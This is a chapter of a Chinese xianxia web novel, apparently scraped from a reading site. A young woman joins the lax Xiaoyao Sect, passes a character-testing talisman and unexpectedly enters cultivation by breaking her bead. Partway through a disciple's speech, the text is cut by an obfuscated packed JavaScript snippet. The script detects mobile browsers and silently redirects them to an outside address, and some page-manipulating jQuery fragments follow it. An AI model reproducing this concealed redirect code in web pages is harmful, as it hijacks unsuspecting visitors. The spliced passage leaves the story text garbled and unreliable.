2. 悟道
作品:《当咸鱼宗门画风突变后》 听出他话中的嘲笑,江知让面无表情转头就走:“告辞。”
“姑娘这是要去哪啊?”少年扬手拦住她,顺势抽走她捏着的纸条,“都到逍遥宗了,还准备去别的地方么?”
这就到逍遥宗了?
江知让闻声抬头,入眼便是宏伟的大门巍然屹立在天地间,门上镶嵌着细碎的灵石,在阳光的照射下熠熠生辉,顶端的匾额处写着苍劲有力的“逍遥宗”三字,甚至连字上都洒满了金粉。
目光逐渐向下,进出宗门的弟子身着锦衣华服,金丝银线绣制着繁琐的纹样,明晃晃地闪人眼睛,佩戴的首饰也皆为上等玉石,恨不得把“家财万贯”四个字写在脸上。
逍遥宗内多纨绔,她可算是见识到了。
身后的少年温声道:“在下九方仪,是逍遥宗的亲传弟子,负责本次招生事宜,跟我进来就行。”
江知让站在原地没动,略带尴尬地笑了下:“那……没钱能进么?”
“当然。”九方仪怔了一下,似是在疑惑她为何会这么问,“逍遥宗尊崇大道无涯,我道逍遥,只要有心都可以来,上进些的就努力通过试炼成为内门弟子,运气好的话还能被长老选中为亲传弟子,若是无心修炼的便在外门过日子,也未尝不可。”
“这样啊。”江知让没再多问,跟着他朝里走去。
逍遥宗位处左州城与中州城交界之处,四面环山云雾缭绕,颇有遗世仙境之感,但在原文剧情中,世人提及逍遥宗,言语中多是嘲讽和奚落。
别的宗门弟子夜以继日刻苦修炼,逍遥宗的弟子游手好闲无所事事,别人在外经世济民救困扶危,他们在花楼寻欢作乐恋酒贪色。
遇到危险别的宗门携手并肩共渡难关,逍遥宗的弟子大难临头各自飞,跑得比谁都快。
穿过正门后顺着内路前行,江知让无声打量着周围的弟子,有聚在树下博戏的,也有骑着灵兽在天上乱飞的,甚至还有喝晕了直接躺在路间睡觉的。
和书里写的没差。
江知让越过倒在中间的酒鬼,停下脚步开始盘算要不要转道去别的宗门。
察觉到她的犹豫,九方仪回头打量着她的神情,而后不动声色地踢醒地上的弟子,嘴角扯出个合礼又得体的笑:“姑娘别看他们现在懒散,其实心里还是很上进的。”
而后他压低嗓音,凑到江知让面前,故弄玄虚地问:“你可知,逍遥宗近百年来出过几位飞升者?”
江知让来了点兴趣:“哦?几位?”
九方仪懒散地拖着调子:“自然是——”
“一位都没有。”
江知让:“……”
这是什么很值得骄傲的事吗?
这里从上到下都给人一种不可靠的感觉,她略显防备地往后退了两步:“我……我能去别的宗门看看么。”
“可以。”九方仪不知从哪变出本册子,拿在手中翻了翻,非常善解人意地替她介绍,“西边的十二楼只收女弟子,是个很不错的选择,就是课业比较重,要不然就是旁边的合欢宗,不过那儿的弟子每天只干一件事,姑娘可能会吃不消……”
九方仪飞快瞥了她一眼,继续道:“听闻啊,这几个宗门都是终年无休,每年都有弟子劳累而亡,哎不像我们逍遥宗,想休几日是几日……”
听到“终年无休”四个字,江知让迈出的步子又果断收回:“不过话又说回来,我还是觉得逍遥宗更适合我。”
说完她又问:“那入门考核,考的是什么?需要测灵力么?”
“不用。”九方仪摇了摇头道,“有悟性,能入境,便可入逍遥宗,至于能修炼到几阶,就看个人造化了。”
入境。
江知让回忆了一下书中的设定,如果她没记错的话,这里的修炼等级分为“天、元、玄、地、末”五阶,修士只有在入境之后,才算正式进入修炼。
至于如何入境,她想了许久,还是没想起来。
此时九方仪将她带到一座金碧辉煌的宫殿前,恢宏的大殿在云雾中更添几分虚妄之感,周围的山川草木在映衬下显得格外渺小。
殿中乌泱泱地站满了人,坐在高位上的女子隔着人群与她遥遥对视,凌厉的眼神中让人感受到无尽的压迫。
“此为逍遥宗正殿坤仪殿,台上的人是宗门四长老常朝,稍后会由她会为你们分配具体去处。”九方仪逆着光站在殿外,琥珀色的眸中带着清浅的笑意,“在下还要去接新的弟子,就先告辞了。”
九方仪离开之后,江知让独自混在人群后面,努力降低自己的存在感。
奈何她一袭素裙,发间仅戴了只银簪,在这些富家子弟中显得格外惹眼,很快便有人注意到她,用不怀好意的眼神上下打量着她。
随即几个轻浪浮薄的男子朝她围在中间,浓烈的酒味扑面而来令人作呕:“好俊的小娘子,哪里来的?不如跟了小爷我吃香的喝辣的怎么样?”
众人的注意立刻被吸引过来,见到几人的行为有人想去阻止,但看到他们的衣着都是非富即贵之人,一时间也无人敢上前。
江知让盯着鞋面眼都没抬,袖中的手摸紧了防身的匕首,心想这种情况下把人捅了,会不会被当成闹事的。
伴随着调笑声,有只肥大油腻的手正向她靠近,就当她准备出手时,一阵迅猛的疾风更快地扫了过来,随后一道冰冷疏离的声音落入在场所有人耳中。
“殿中生事者,将逐。”
刚才还围在她的人瞬间被掀出殿外,痛苦的嚎叫声此起彼伏,江知让朝外望去,就看见几个人正捂着胳膊惨叫,想必骨折是少不了的。
殿内登时陷入死一般的沉寂,大家都垂着头大气都不敢出,生怕下一个被扔出去的就是自己。
就在此时,台上的常朝忽然轻笑出声;“别这么紧张,我又不吃人。”
她稍稍抬手,下一秒所有人面前都出现了张姜黄色的纸,纸上写着几行奇怪的小字。
“此物名为鉴行符,可以测出人品行是否端正,若有心术不正者,如命案在身、负债未还等,都会被符纸灼伤,这种人无法进入逍遥宗。”
“验过之后,鉴行符会显示最适合修的道,其中较为常见的有剑符法阵器五道,择道入境后,便可自行修炼。”常朝继续解释,“天资不同,每个人入境耗费的时间也不同,短则数月,长则数年,若是始终无法入境,就只能当一辈子外门弟子。”
台下有弟子壮起胆子,扬声问:“可……可弟子听闻,有人入境只需数日!”
还未等常朝开口,便有弟子嗤笑着反驳:“还真当自己是天才了不成?十日入境的那位,如今可是上仙门掌门坐下大弟子,十年不到就已经是元阶中期了,你如何能跟他相提并论?”
“文兄此言差矣。”又一位弟子道开口,“若论天才,还得是公孙家那位吧,三日入境,半月升阶,只可惜……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280751|166817||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“噤声。”常朝蹙着眉冷声打断,“无关之事休要再提,现在将右掌置于符纸上,不合要求的人会被传出逍遥宗,另寻去处。”
人群中顿时安静下来,纷纷将手覆在符纸上,忽然有人惊叫一声,很快就消失在了众人的视线中,随后不断有人被传出门外,殿中的人很快便少了大半。
原来逍遥宗也不是想入就能入的。
江知让学着别人的样子把手放了上去,掌心传来轻微的刺痛感,鲜血滴入符纸,转眼就消失不见。
没过多久,纸面的最末端出现一个极小的红字,她凑上前端详许久,才隐约认出应该是个“言”字,并不在常朝说的五道之中。
等殿中所有人都验完后,常朝接着:“若想入境,先要悟道。何为悟道?重点便在这个‘悟’字上。”
话音未落,常朝手中凭空出现一把长剑,她顺势挽了个剑花,然后随手一挥,凌厉的剑气汹涌袭来,前排的几个弟子被震得连连后退,用尽全力才勉强稳住身形。
忽地身后传来一阵惊呼,众人回头一瞧,只见站在最后排的小弟子,披散在左肩的长发瞬间被划断半截。
小弟子望着散落在地面的碎发,发出了真挚而直白的赞叹:“哇——”
台上的常朝不知何时收了剑,手中多了节细长的杨柳:“柳枝柔软却依然能借势挥力,舞出各式剑招,同样柳枝的韧性也能是剑术更加灵活,学会以物相融,即为悟道。”
说完她紧扣柳枝,手腕略微施力并向上一挑,面前弟子的衣扣猝不及防开了两颗。
紧接着常朝飞快改变指尖搭着的位置,调整柳枝的朝向,旋即用力往前刺去。
众人顺着柳枝的方向望去,便看见方才的小弟子右肩的头发也短了半截,被削了头发的小弟子也不恼,眼中的崇拜还更甚几分。
还挺匀称。
江知让实在没忍住笑出了声。
适时有人开口问道:“那……怎样才算入境呢?”
“简单。”常朝默念几句咒语,“在你们耳后有颗玄珠,玄珠破碎便是入境之时。”
闻言江知让朝耳后一摸,果真摸到颗圆润的珠子,触感坚硬冰凉,也不知是如何贴上去的。
她试着将珠子往外扯,预想中的疼痛并未传来,那珠子竟不是粘在耳后,而是可以直接拿下来。
接着她将玄珠放在眼前打量,此物有些像珍珠,但色泽却更加明亮通透,江知让眯了眯眼,小声嘀咕:“这玩意直接弄碎不就行了……”
话还未说完,手中的珠子应声而碎,发出微弱的“喀嚓”声。
只有身边几人听见了声响,但都没反应过来这意味着什么,只是下意识学着她的动作将玄珠向外拽,却发现怎么也弄不下来,还把耳朵扯得通红。
旁边的人愤愤骂道:“你的玄珠有问题!”
“你是在质疑我的灵器?”常朝突然出现,盯着那颗满是裂纹的玄珠,若有所思道,“你叫什么名字?”
江知让也不清楚状况,只能低声回答,回完还小心翼翼地补了句:“它自己碎的,我都没使劲。”
常朝“嗯”了声算是答复,看了眼她的玄珠,又看了眼她先前验的符纸,轻笑道:“居然是个言修,怪不得。”
“玄珠没问题,碎是因为你入境了。”
此话一出,殿中陷入短暂的死寂,几秒后不知是谁打破了沉默:“怎么可能!”